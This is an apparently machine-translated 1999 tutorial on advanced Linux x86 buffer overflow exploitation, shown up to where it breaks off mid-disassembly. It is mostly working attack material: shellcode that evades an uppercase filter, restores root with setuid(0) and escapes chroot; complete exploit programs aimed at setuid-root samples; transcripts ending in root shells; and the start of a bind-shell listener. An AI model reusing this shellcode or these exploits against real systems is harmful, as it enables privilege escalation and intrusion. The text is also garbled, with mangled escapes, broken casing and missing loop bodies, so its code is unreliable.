Senior buffer overflow: DSPMAN, SOLO, Backend
Date: 1999-12-14
Written by taeho oh (ohhara@postech.edu)
-------------------------------------------------- ----------------------------
Taeho Oh (Ohhara@postech.edu) http://postech.edu/~ohhara
Plus (Postech Laboratory for Unix Security) http://postech.edu/plus
Poslug (Postech Linux User Group) http://postech.edu/group/poslug
-------------------------------------------------- ----------------------------
1 Introduction
There are several code programs that have several buffers overflow. Early buffer overflow program is relatively simple, often
It is only (by executing / bin / sh) a shell. But today's buffer overflow procedures have been more
Diversified methods, such as bypass filter restrictions, establish socket, break through Chroot, etc. Here we mainly introduce
Some of the more advanced use techniques in the programming of the buffer overflow based on (Intel x86) Linux.
2. Prepare knowledge
You must understand the assembly language, and the C language has Linux. Of course, you must also know how the buffer overflow is.
The mechanism analysis of the buffer in our site is available for your reference. You can also find from the PHRAK magazine 49-14
Information about buffer overflow (English).
3. Baven the filter limit
Many programs have buffer overflow issues. But why not all buffer overflow programs can be used to get
Shell? This is because it is still difficult to attack even if a program has the condition of buffer overflow.
In many cases because the program is filtered with some characters or transform some characters to others. If one
The program is filtered through all non-print characters, and the overflow vulnerability is hardly available. But if the program is only filtered
Character, you can bypass these filtering mechanisms by writing a smart buffer overflow code. :)
3.1 Strokes attacked
Vulnerable1.c
-------------------------------------------------- ----------------------------
#include
#include
INT main (int Argc, int ** argv)
{
Char buffer [1024];
INT I;
IF (Argc> 1)
{
For (i = 0; i Argv [1] [I] = TouPper (Argv [1] [I]); STRCPY (Buffer, Argv [1]); } } -------------------------------------------------- ---------------------------- This program is very simple, and only the letters that use lowercase letters entered into uppercase letters. So you have to edit Write a shellcode that does not contain any lowercase letters. How can I do it? It should be noted that we must It must face the fact that "/ bin / sh" must be lowercase. But in fact, we can do this. :) 3.2 Modify conventional shellcode Almost all buffer overflow code uses the following shellcode. Now what you have to do is to put all lowercase letters Remove from shellocode. Of course, the new shellcode also enables us to get the shell. Conventional shellcode -------------------------------------------------- ---------------------------- Char shellcode [] = "/ Xeb / x1f" / * jmp 0x1f * / "/ x5e" / * popl% ESI * / "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x88 / x46 / x07" / * MOVB% EAX, 0x7 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / "/ XB0 / X0B" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * MOVL% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C" / * LEAL 0XC (% ESI),% EDX * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ x89 / xd8" / * movl% EBX,% EAX * / "/ x40" / * Inc% EAX * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / XDC / XFF / XFF / XFF" / * CALL-0X24 * / "/ bin / sh"; / * .string / "/ bin / sh /" * / -------------------------------------------------- ---------------------------- This SHELLCode contains 6 lowercase letters. (5 inside "/ bin / sh", 1 in "MOVL% ESI, 0x8 (% ESI)" in). We can't use "/ bin / sh" directly because it will be filtered out. But can insert any non-insert Small write characters. That is, "/ X2F / X12 / X19 / X1E / X2F / X23 / X18" can be inserted "/ x2f / x62 / x69 / x6e / x2f / x73 / x68 "(" / bin / sh "). But after the buffer overflows, we must put" / X2f / x12 / x19 / x1e / x2f / x23 / x18 "becomes" / x2f / x73 / x68 ", so that" / bin / sh "can be executed. We can make / x62, / x69, / x6e, / x62, / x69, / x6e, / x73, and / x69, / x6e, / x73, and / x68 become executable code. But how to hide / x76 in the command "MOVL% ESI, 0x8 (% ESI)"? You can put "MOVL% ESI, 0x8 (% ESI)" Equivalent to other instructions that do not contain lowercase letters. For example, "MOVL% ESI, 0x8 (% ESI)" can become "MOVL% ES.,% EAX", "ADDL $ 0x8,% EAX", "MOVL% EAX, 0x8 (% ESI)" This instruction sequence. Of course this also Other instructions can be used, as long as any lowercase letters are not included in the instructions. The following is a modified shellcode -------------------------------------------------- -------------------------- CHAR shellcode [] = "/ xeb / x38" / * jmp 0x38 * / "/ x5e" / * popl% ESI * / "/ x80 / x46 / x01 / x50" / * addb $ 0x50, 0x1 (% ESI) * / "/ x80 / x46 / x02 / x50" / * addb $ 0x50, 0x2 (% ESI) * / "/ x80 / x46 / x03 / x50" / * addb $ 0x50, 0x3 (% ESI) * / "/ x80 / x46 / x05 / x50" / * addb $ 0x50, 0x5 (% ESI) * / "/ x80 / x46 / x06 / x50" / * addb $ 0x50, 0x6 (% ESI) * / "/ x89 / xf0" / * movl% ESI,% EAX * / "/ x83 / xc0 / x08" / * Add1 $ 0x8,% EAX * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x88 / x46 / x07" / * MOVB% EAX, 0x7 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / "/ XB0 / X0B" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * MOVL% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C" / * LEAL 0XC (% ESI),% EDX * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ x89 / xd8" / * movl% EBX,% EAX * / "/ x40" / * Inc% EAX * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / XC3 / XFF / XFF / XFF" / * CALL-0X3D * / "/ x2f / x12 / x19 / x1e / x2f / x23 / x18"; / * .string "/ bin / sh" * / / * / bin / sh is disguised * / -------------------------------------------------- ---------------------------- 3.3 Using an attack program With the above shellcode, you can easily write overflow vulnerability attack code. Exploit1.c -------------------------------------------------- ---------------------------- #include #include #define align 0 #define offset 0 #define ret_position 1024 #define Range 20 #define nop 0x90 Char shellcode [] = "/ xeb / x38" / * jmp 0x38 * / "/ x5e" / * popl% ESI * / "/ x80 / x46 / x01 / x50" / * addb $ 0x50, 0x1 (% ESI) * / "/ x80 / x46 / x02 / x50" / * addb $ 0x50, 0x2 (% ESI) * / "/ x80 / x46 / x03 / x50" / * addb $ 0x50, 0x3 (% ESI) * / "/ x80 / x46 / x05 / x50" / * addb $ 0x50, 0x5 (% ESI) * / "/ x80 / x46 / x06 / x50" / * addb $ 0x50, 0x6 (% ESI) * / "/ x89 / xf0" / * movl% ESI,% EAX * / "/ x83 / xc0 / x08" / * Add1 $ 0x8,% EAX * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x88 / x46 / x07" / * MOVB% EAX, 0x7 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / "/ XB0 / X0B" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * MOVL% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C" / * LEAL 0XC (% ESI),% EDX * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ x89 / xd8" / * movl% EBX,% EAX * / "/ x40" / * Inc% EAX * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / XC3 / XFF / XFF / XFF" / * CALL-0X3D * / "/ x2f / x12 / x19 / x1e / x2f / x23 / x18"; / * .string "/ bin / sh" * / / * / bin / sh is disguised * / Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Main (int Argc, char ** argv) { Char buff [RET_POSITION RANGE Align 1], * PTR; Long addr; UNSIGNED Long SP; INT offset = offset, bsize = RET_POSITION RANGE Align 1; INT I; IF (Argc> 1) OFFSET = ATOI (Argv [1]); sp = get_sp (); Addr = sp-offset; For (i = 0; i { BUFF [I Align] = (AddR & 0x000000FF); BUF [I Align 1] = (AddR & 0x0000FF00) >> 8; BUF [I Align 2] = (AddR & 0x00FF0000) >> 16; BUF [i align 3] = (addr & 0xff000000) >> 24; } For (i = 0; i BUFF [I] = NOP; PTR = BUFF BSIZE-RANGE * 2-STRLEN (Shellcode) -1; for (i = 0; I * (PTR ) = shellcode [i]; BUFF [BSIZE-1] = '/ 0'; Printf ("Jump to 0x% 08x / N", ADDR); Execl ("./ Vulnerable1", "Vulnerable1", BUFF, 0); } -------------------------------------------------- ---------------------------- The results of the operation are as follows: -------------------------------------------------- ---------------------------- [user @ host ~] {1} $ ls -l Vulnerable1 -RWSR-XR-X 1 root root 4342 Oct 18 13:20 Vulnerable1 * [User @ host ~] {2} $ ls -l expedition1 -RWXR-XR-X 1 Ohhara CSE 6932 Oct 18 13:20 Exploit1 * [user @ Host ~] {3} $ ./exploit1 Jump to 0xBFFEC64 Segmentation Fault [user @ Host ~] {4} $ ./exploit1 500 Jump to 0xBFFFEA70 Bash #whoami root Bash # -------------------------------------------------- ---------------------------- 3.4 Tips With this trick, we can bypass different filtration mechanisms of various systems. When the attacker is filtered! @ # $% ^ & * () When we can prepare a new shellcode so that it does not include! @ # $% ^ & * (). However, if the program is filtered More characters, compilation shellcode will also become more difficult. 4. Change the UID 0 SetUID has become a ROOT program that has root permissions at runtime, has always been a hidden that is considered safe. . Because it is called STEUID (0) during execution. Many programmers think using Seteuid (GetUID ()) It will be more secure, but the fact is not the case, the user ID (UID) can still be changed to 0. :) 4.1 Randie attacked Vulnerable2.c -------------------------------------------------- ---------------------------- #include #include INT main (int Argc, char ** argv) { Char buffer [1024]; Seteuid (GetUID ()); IF (Argc> 1) STRCPY (Buffer, Argv [1]); } -------------------------------------------------- ---------------------------- This program calls setEUID from the beginning. So, you can think of the back "STRCPY (Buffer, Argv [1]);" There is no problem. Because even successfully realizes the buffer overflow attack, I They can only get their own shell. However, if you join the call containing setuid (0) in Shellcode, don't you get the root shell? :) 4.2 Preparation SetUID (0) code Setuidasm.c -------------------------------------------------- ---------------------------- Main () { SetUID (0); } -------------------------------------------------- ---------------------------- Then compile and disassemble -------------------------------------------------- ---------------------------- [User @ host ~] {1} $ gcc -o setuidasm -static setuidasm.c [user @ Host ~] {2} $ GDB setuidasm GNU GDB 4.17 CopyRight 1998 Free Software Foundation, Inc. GDB IS Free Software, Covered by the gnu general public license, and you are Welcome to change IT and / or or distribute copies of it under certain conditions. Type "Show Copying" to see the conditions. There Is Absolutely No Warranty for GDB. Type "Show Warranty" for Details. THIS GDB WAS Configured AS "i386-redhat-linux" ... (GDB) Disassemble SetUID Dump of assembler code for function __setuid: 0x804CA00 <__ setuid>: MOVL% EBX,% EDX 0x804ca02 <__ setuid 2>: MOVL 0x4 (% ESP, 1),% EBX 0x804ca06 <__ setuid 6>: MOVL $ 0x17,% EAX 0x804ca0b <__ setuid 11>: int $ 0x80 0x804ca0d <__ setuid 13>: MOVL% EDX,% EBX 0x804ca0f <__ setuid 15>: cmpl $ 0xffffff001,% EAX 0x804ca14 <__ setuid 20>: jae 0x804cc10 <__ syscall_error> 0x804ca1a <__ setuid 26>: RET 0x804ca1b <__ setuid 27>: NOP 0x804ca1c <__ setuid 28>: NOP 0x804ca1d <__ setuid 29>: NOP 0x804ca1e <__ setuid 30>: NOP 0x804ca1f <__ setuid 31>: NOP End of assembler dump. (GDB) -------------------------------------------------- ---------------------------- SetUID (0); CODE -------------------------------------------------- -------------------------- Char code [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ XB0 / X17" / * MOVB $ 0X17,% Al * / "/ xcd / x80"; / * int $ 0x80 * / -------------------------------------------------- ---------------------------- 4.3 Modify conventional shellcode Now just insert our setuid (0) code at the beginning of the conventional shellcode, you get a new shellcode. New shellcode -------------------------------------------------- ---------------------------- Char shellcode [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ XB0 / X17" / * MOVB $ 0X17,% Al * / "/ xcd / x80" / * int $ 0x80 * / "/ Xeb / x1f" / * jmp 0x1f * / "/ x5e" / * popl% ESI * / "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x88 / x46 / x07" / * MOVB% EAX, 0x7 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / "/ XB0 / X0B" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * MOVL% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C" / * LEAL 0XC (% ESI),% EDX * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ x89 / xd8" / * movl% EBX,% EAX * / "/ x40" / * Inc% EAX * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / XDC / XFF / XFF / XFF" / * CALL-0X24 * / "/ bin / sh"; / * .string / "/ bin / sh /" * / -------------------------------------------------- ---------------------------- 4.4 Attack Procedure With the following shellcode, you can use the code very convenient. Exploit2.c -------------------------------------------------- ---------------------------- #include #include #define align 0 #define offset 0 #define ret_position 1024 #define Range 20 # Define NOP 0x90 Char shellcode [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ XB0 / X17" / * MOVB $ 0X17,% Al * / "/ xcd / x80" / * int $ 0x80 * / "/ Xeb / x1f" / * jmp 0x1f * / "/ x5e" / * popl% ESI * / "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x88 / x46 / x07" / * MOVB% EAX, 0x7 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / "/ XB0 / X0B" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * MOVL% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C" / * LEAL 0XC (% ESI),% EDX * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ x89 / xd8" / * movl% EBX,% EAX * / "/ x40" / * Inc% EAX * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / XDC / XFF / XFF / XFF" / * CALL-0X24 * / "/ bin / sh"; / * .string / "/ bin / sh /" * / Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void main (int Argc, char ** argv) { Char buff [RET_POSITION RANGE Align 1], * PTR; Long addr; UNSIGNED Long SP; INT offset = offset, bsize = RET_POSITION RANGE Align 1; INT I; IF (Argc> 1) OFFSET = ATOI (Argv [1]); sp = get_sp (); Addr = sp-offset; For (i = 0; i { BUFF [I Align] = (AddR & 0x000000FF); BUF [I Align 1] = (AddR & 0x0000FF00) >> 8; BUF [I Align 2] = (AddR & 0x00FF0000) >> 16; BUF [i align 3] = (addr & 0xff000000) >> 24; } For (i = 0; i BUFF [I] = NOP; PTR = BUFF BSIZE-RANGE * 2-STRLEN (Shellcode) -1; For (i = 0; i BUFF [BSIZE-1] = '/ 0'; Printf ("Jump to 0x% 08x / N", ADDR); Execl ("./ VulneRable2", "Vulnerable2", BUFF, 0); } -------------------------------------------------- ---------------------------- operation result -------------------------------------------------- ---------------------------- [user @ hosts ~] {1} $ ls -l Vulnerable2 -RWSR-XR-X 1 root root 4258 OCT 18 14:16 Vulnerable2 * [User @ hosts ~] {2} $ ls -l expedition2 -RWXR-XR-X 1 Ohhara CSE 6932 OCT 18 14:26 Exploit2 * [user @ hosts ~] {3} $ ./exploit2 Jump to 0xBFFEC64 Illegal instruction [user @ hosts ~] {4} $ ./exploit2 500 Jump to 0xBFFFEA70 Bash #whoami root Bash # -------------------------------------------------- ---------------------------- 4.5 Tips If you use a general overflow attack method to attack a program with overflow vulnerabilities, you can only get your own shell, then This method can be considered. 5. Breakthrough Chroot If SetUID becomes the ROOT program with Chroot, you can only access the catalog protected by Chroot. and You cannot access true root directory. However, you can still change the directory of root in shellcode. Access any directory. :) 5.1 Extracted routines Vulnerable3.c -------------------------------------------------- ---------------------------- #include #include INT main (int Argc, char ** argv) { Char buffer [1024]; Chroot ("/ home / ftp"); chdir ("/"); IF (Argc> 1) STRCPY (Buffer, Argv [1]); } -------------------------------------------------- ---------------------------- If we try to use overflow to execute "/ bin / sh", it will be possible to execute "/ home / ftp / bin / sh" (if there is The words), and we cannot access other directorys except "/ home / ftp". 5.2 Preparation Breakthrough Chroot Code If you can perform the following code, you can break through Chroot. Breakchrootasm.c -------------------------------------------------- ---------------------------- Main () { MKDir ("SH", 0755); Chroot ("SH"); / * many "../" * / Chroot ("../../../../../../../../../../..../../../ .. / "); } -------------------------------------------------- ---------------------------- This program has established a "SH" directory because it is often used. (It is often used to perform "/ bin / sh") Compilation and disassembly -------------------------------------------------- ---------------------------- [user @ hosts ~] {1} $ gcc -o breakchrootasm -static breakchrootasm.c [user @ hosts ~] {2} $ GDB BREAKCHROOOTASM GNU GDB 4.17 CopyRight 1998 Free Software Foundation, Inc. GDB IS Free Software, Covered by the gnu general public license, and you are Welcome to change IT and / or or distribute copies of it under certain conditions. Type "Show Copying" to see the conditions. There Is Absolutely No Warranty for GDB. Type "Show Warranty" for Details. THIS GDB WAS Configured AS "i386-redhat-linux" ... (GDB) Disassemble MKDir Dump of assembler code for function __mkdir: 0x804cac0 <__ mkdir>: MOVL% EBX,% EDX 0x804cac2 <__ mkdir 2>: MOVL 0x8 (% ESP, 1),% ECX 0x804cac6 <__ mkdir 6>: MOVL 0x4 (% ESP, 1),% EBX 0x804caca <__ mkdir 10>: MOVL $ 0x27,% EAX 0x804cacf <__ mkdir 15>: int $ 0x80 0x804CAD1 <__ mkdir 17>: MOVL% EDX,% EBX 0x804CAD3 <__ mkdir 19>: cmpl $ 0xfffffff001,% EAX 0x804CAD8 <__ mkdir 24>: jae 0x804cc40 <__ syscall_error> 0x804cade <__ mkdir 30>: RET 0x804CADF <__ mkdir 31>: NOP End of assembler dump. (GDB) Disassemble Chroot Dump of assembler code for function chroot: 0x804cb60 0x804cb62 0x804cb66 0x804cb6b 0x804cb6f 0x804cb74 0x804cb7a 0x804cb7b 0x804cb7c 0x804cb7d 0x804cb7e 0x804cb7f End of assembler dump. (GDB) -------------------------------------------------- ---------------------------- Mkdir ("SH", 0755); CODE -------------------------------------------------- ---------------------------- / * The first parameter for establishing a directory is% EBX second parameter is% ECX. * / Char code [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xc9" / * xorl% ECX,% ECX * / "/ XB0 / X17" / * MOVB $ 0x27,% Al * / "/ x8d / x5e / x05" / * leal 0x5 (% ESI),% EBX * / / * Before using this instruction,% ESI has been loaded with "/ bin / sh" address * / / * This instruction will load the address of "SH" and store it in% EBX * / "/ XFE / XC5" / * IncB% CH * / / *% CX = 0000 0001 0000 0000 * / "/ XB0 / X3D" / * MOVB $ 0XED,% CL * / / *% CX = 0000 0001 1110 1101 * / / *% CX = 000 111 101 101 * / / *% CX = 0 7 5 5 * / "/ xcd / x80"; / * int $ 0x80 * / -------------------------------------------------- ---------------------------- Chroot ("SH"); CODE -------------------------------------------------- ---------------------------- / * Chroot's first parameter is EBX * / Char code [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x8d / x5e / x05" / * leal 0x5 (% ESI),% EBX * / "/ XB0 / X3D" / * MOVB $ 0x3D,% Al * / "/ xcd / x80"; / * int $ 0x80 * / -------------------------------------------------- ---------------------------- Chroot ("../../../../../../../../../../..../../../ .. / "); code --------------------------------------------- ------------------------------- Char code [] = "/ XBB / XD2 / XD1 / XD0 / XFF" / * MOVL $ 0xFFD0D1D2,% EBX * / / * Passed through "../" string * / "/ xf7 / xdb" / * NEGL% EBX * / / *% EBX = $ 0x002f2e2e * / / * Intel x86 is little endian. * / / *% EBX = "../" * / "/ x31 / xc9" / * xorl% ECX,% ECX * / "/ XB1 / X10" / * MOVB $ 0X10,% CL * / / * Prepare loop 16 times. * / "/ x56" / * pushl% ESI * / / * Back up the current% ESI.% ESI has a pointer to "/ bin / sh". * / "/ x01 / xce" / * addl% ECX,% ESI * / "/ x89 / x1e" / * movl% EBX, (% ESI) * / "/ x83 / xc6 / x03" / * Add1 $ 0x3,% ESI * / "/ XE0 / XF9" / * loopne -0x7 * / / * Make strings "../../../../..." At 0x10 (% ESI) cycle * / "/ x5e" / * popl% ESI * / / * Reset% ESI. * / "/ XB0 / X3D" / * MOVB $ 0x3D,% Al * / "/ x8d / x5e / x10" / * LEAL 0X10 (% ESI),% EBX * / / * "../../../../..." The address is% EBX. * / "/ xcd / x80"; / * int $ 0x80 * / -------------------------------------------------- ---------------------------- 5.3 Modify conventional shellcode Put the code we have prepared by Chroot in the beginning of regular shellcode, then modify the parameters of JMP and Call. New shellcode -------------------------------------------------- ---------------------------- Char shellcode [] = "/ Xeb / X4F" / * JMP 0x4f * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xc9" / * xorl% ECX,% ECX * / "/ x5e" / * popl% ESI * / "/ x88 / x46 / x07" / * MOVB% Al, 0x7 (% ESI) * / "/ XB0 / X27" / * MOVB $ 0x27,% Al * / "/ x8d / x5e / x05" / * leal 0x5 (% ESI),% EBX * / "/ XFE / XC5" / * IncB% CH * / "/ XB1 / XED" / * MOVB $ 0XED,% CL * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x8d / x5e / x05" / * LEAL 0x5 (% ESI),% EBX * / "/ XB0 / X3D" / * MOVB $ 0x3D,% Al * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ XBB / XD2 / XD1 / XD0 / XFF" / * MOVL $ 0xFFD0D1D2,% EBX * / "/ xf7 / xdb" / * NEGL% EBX * / "/ x31 / xc9" / * xorl% ECX,% ECX * / "/ XB1 / X10" / * MOVB $ 0X10,% CL * / "/ x56" / * pushl% ESI * / "/ x01 / xce" / * addl% ECX,% ESI * / "/ x89 / x1e" / * movl% EBX, (% ESI) * / "/ x83 / xc6 / x03" / * addl% 0x3,% ESI * / "/ XE0 / XF9" / * loopne -0x7 * / "/ x5e" / * popl% ESI * / "/ XB0 / X3D" / * MOVB $ 0x3D,% Al * / "/ x8d / x5e / x10" / * LEAL 0X10 (% ESI),% EBX * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / "/ XB0 / X0B" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * MOVL% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C" / * LEAL 0XC (% ESI),% EDX * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / XAC / XFF / XFF / XFF" / * CALL-0X54 * / "/ bin / sh"; / * .string / "/ bin / sh /" * / -------------------------------------------------- ---------------------------- 5.4 Attack Procedure 3 Exploit3.c -------------------------------------------------- ---------------------------- #include #include #define align 0 #define offset 0 #define ret_position 1024 #define Range 20 #define nop 0x90 Char shellcode [] = "/ Xeb / X4F" / * JMP 0x4f * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xc9" / * xorl% ECX,% ECX * / "/ x5e" / * popl% ESI * / "/ x88 / x46 / x07" / * MOVB% Al, 0x7 (% ESI) * / "/ XB0 / X27" / * MOVB $ 0x27,% Al * / "/ x8d / x5e / x05" / * Leal 0x5 (% ESI),% EBX * / "/ XFE / XC5" / * IncB% CH * / "/ XB1 / XED" / * MOVB $ 0XED,% CL * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x8d / x5e / x05" / * leal 0x5 (% ESI),% EBX * / "/ XB0 / X3D" / * MOVB $ 0x3D,% Al * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ XBB / XD2 / XD1 / XD0 / XFF" / * MOVL $ 0xFFD0D1D2,% EBX * / "/ xf7 / xdb" / * NEGL% EBX * / "/ x31 / xc9" / * xorl% ECX,% ECX * / "/ XB1 / X10" / * MOVB $ 0X10,% CL * / "/ x56" / * pushl% ESI * / "/ x01 / xce" / * addl% ECX,% ESI * / "/ x89 / x1e" / * movl% EBX, (% ESI) * / "/ x83 / xc6 / x03" / * addl% 0x3,% ESI * / "/ XE0 / XF9" / * loopne -0x7 * / "/ x5e" / * popl% ESI * / "/ XB0 / X3D" / * MOVB $ 0x3D,% Al * / "/ x8d / x5e / x10" / * LEAL 0X10 (% ESI),% EBX * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / "/ XB0 / X0B" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * MOVL% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C" / * LEAL 0XC (% ESI),% EDX * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / XAC / XFF / XFF / XFF" / * CALL-0X54 * / "/ bin / sh"; / * .string / "/ bin / sh /" * / Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void main (int Argc, char ** argv) { Char buff [RET_POSITION RANGE Align 1], * PTR; Long addr; UNSIGNED Long SP; INT offset = offset, bsize = RET_POSITION RANGE Align 1; INT I; IF (Argc> 1) OFFSET = ATOI (Argv [1]); sp = get_sp (); Addr = sp-offset; for (i = 0; i { BUFF [I Align] = (AddR & 0x000000FF); BUF [I Align 1] = (AddR & 0x0000FF00) >> 8; BUF [I Align 2] = (AddR & 0x00FF0000) >> 16; BUF [i align 3] = (addr & 0xff000000) >> 24; } For (i = 0; i BUFF [I] = NOP; PTR = BUFF BSIZE-RANGE * 2-STRLEN (Shellcode) -1; For (i = 0; i * (PTR ) = shellcode [i]; BUFF [BSIZE-1] = '/ 0'; Printf ("Jump to 0x% 08x / N", ADDR); Execl ("./ Vulnerable3", "Vulnerable3", BUFF, 0); } -------------------------------------------------- ---------------------------- operation result -------------------------------------------------- ---------------------------- [user @ hosts ~] {1} $ ls -l vulnerable3 -RWSR-XR-X 1 root root 4348 Oct 18 15:06 Vulnerable3 * [user @ hosts ~] {2} $ ls -l exploit3 -RWXR-XR-x 1 Ohhara CSE 5059 OCT 18 17:13 Exploit3 * [user @ hosts ~] {3} $ ./exploit3 Jump to 0xBFFEC68 Segmentation Fault [user @ hosts ~] {4} $ ./exploit3 500 Jump to 0xBFFFEA74 Segmentation Fault [user @ hosts ~] {5} $ ./exploit3 -500 Jump to 0xBffFee5c Bash #whoami root Bash # PWD / home / ftp Bash # CD / Bash # PWD / Bash # ls AFS Boot etc Home Lost Found Mnt Root Tmp Var BIN DEV EXPORT LIB MISC Proc Sbin USR Bash # -------------------------------------------------- ---------------------------- 5.5 Tips Using buffer overflows to attack a Chrooted SetUID, you will not be able to access the root directory. But you can Use this technology to access all paths. :) 6. Establish a socket connection If we attacked a daemon with a buffer overflow vulnerability, it will crash. So in most cases, We must execute a shell first, then open a socket port, and then use standard I / O to establish a connection. otherwise, It is impossible to obtain the desired shell. Even if you get the shell, because the daemon has already collapsed, we cannot perform any instructions, so a more complex shellcode must be prepared for establishing a connection to our machine. 6.1 Earth-attack routines -------------------------------------------------- ---------------------------- #include INT main (int Argc, char ** argv) { Char buffer [1024]; IF (Argc> 1) STRCPY (Buffer, Argv [1]); } -------------------------------------------------- ---------------------------- This is a standard with a standard existed vulnerability. We use it to verify how to write a socket connection Shellcode. But we are too lazy, don't want to write a daemon. :-) But I dare to guarantee that after reading the following code, you will not be disappointed. :) 6.2 Code to establish a socket The following is a program that can build a socket. Opensocketasm1.c -------------------------------------------------- ---------------------------- #include #include #include Int SoC, CLI, SOC_LEN; Struct SockAddr_in serv_addr; Struct SockAddr_in CLI_ADDR; int main () { IF (fork () == 0) { Serv_addr.sin_family = af_INet; Serv_addr.sin_addr.s_addr = HTONL (INADDR_Any); Serv_addr.sin_port = HTONS (30464); SOC = Socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); Bind (SOC, STRUCT SOCKADDR *) & serv_addr, sizeof (serv_addr)); Listen (SoC, 1); SOC_LEN = SizeOf (CLI_ADDR); CLI = Accept (SOC, STRUCKADDR *) & cli_addr, & soc_len; DUP2 (CLI, 0); DUP2 (CLI, 1); DUP2 (CLI, 2); Execl ("/ Bin / SH", "SH", 0); } } -------------------------------------------------- ---------------------------- The code that uses the assembly language to write will not be the same. You can write the above program easier. Opensocketasm2.c -------------------------------------------------- ---------------------------- #include #include #include INT SoC, CLI; Struct SockAddr_in serv_addr; int main () { IF (fork () == 0) { Serv_addr.sin_family = 2; Serv_addr.sin_addr.s_addr = 0; Serv_addr.sin_port = 0x77; SOC = Socket (2, 1, 6); Bind (SOC, STRUCKADDR *) & serv_addr, 0x10); Listen (SoC, 1); CLI = ACCEPT (SOC, 0, 0); DUP2 (CLI, 0); DUP2 (CLI, 1); DUP2 (CLI, 2); Execl ("/ Bin / SH", "SH", 0); } } -------------------------------------------------- ---------------------------- Compilation and disassembly results -------------------------------------------------- ---------------------------- [user @ hosts ~] {1} $ gcc -o opensocketasm2 -static opensocketasm2.c [user @ hosts ~] {2} $ GDB OPENSOCKETASM2 GNU GDB 4.17 CopyRight 1998 Free Software Foundation, Inc. GDB IS Free Software, Covered by the gnu general public license, and you are Welcome to change IT and / or or distribute copies of it under certain 